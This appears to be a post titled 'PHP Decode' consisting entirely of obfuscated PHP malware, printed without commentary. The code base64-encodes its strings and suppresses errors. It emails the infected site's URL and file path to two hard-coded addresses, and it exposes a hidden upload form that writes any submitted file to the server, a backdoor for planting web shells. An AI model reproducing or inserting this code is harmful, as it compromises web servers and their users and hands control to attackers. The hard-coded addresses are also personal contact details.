PHP Decode

<? $wpf98defd6ee70dfb1dea416cecdf391f58=base64_decode('Mg==');if(!ereg($wpf98defd6ee70dfb1dea416cecdf391f58,$_SERVER[base64_decode('U0VSVkVSX05BTUU=')])){$qxz01b6e20344b68835c5ed1ddedf20d531=base64_decode('aXE5Njk5OTJAZ21haWwuY29tLGdyZWcuaGFuc2VuMTk2QGFvbC5jb20=');$anib5e3374e43f6544852f7751dfc529100=base64_decode('bjNjaGEz');$lgr099fb995346f31c749f6e40db0f395e3=base64_decode('ZnJvbTogbWFpbCA8YWNjb3VudGxvdmU+');$wqw78e731027d8fd50ed642340b7c9a63b3=base64_decode('TGluayA6IGh0dHA6Ly8=').$_SERVER[base64_decode('U0VSVkVSX05BTUU=')].$_SERVER[base64_decode('UkVRVUVTVF9VUkk=')].base64_decode('DQo=');$wqw78e731027d8fd50ed642340b7c9a63b3.=base64_decode('UGF0aCA6IA==').__file__;$sibe933babef46b229b61df0f8e4a0d1df0=@mail($qxz01b6e20344b68835c5ed1ddedf20d531,$anib5e3374e43f6544852f7751dfc529100,$wqw78e731027d8fd50ed642340b7c9a63b3,$lgr099fb995346f31c749f6e40db0f395e3);echo '';exit;}?> 
	<?php error_reporting(0);$rab54b53072540eeeb8f8e9343e71f28176=$_GET[base64_decode('YWE=')];if($rab54b53072540eeeb8f8e9343e71f28176==base64_decode('YWFh')){$hlk3b47f5064418f00eb8144bd6023214d2=$_FILES[base64_decode('ZmlsZQ==')][base64_decode('dG1wX25hbWU=')];$rgy489d2a1148292320381970c2cb1570ae=$_FILES[base64_decode('ZmlsZQ==')][base64_decode('bmFtZQ==')];echo base64_decode('PGZvcm0gbWV0aG9kPSdQT1NUJyBlbmN0eXBlPSdtdWx0aXBhcnQvZm9ybS1kYXRhJz4NCjxpbnB1dCB0eXBlPSdmaWxlJ25hbWU9J2ZpbGUnIC8+DQo8aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nb2snIC8+DQo8L2Zvcm0+');move_uploaded_file($hlk3b47f5064418f00eb8144bd6023214d2,$rgy489d2a1148292320381970c2cb1570ae);}?>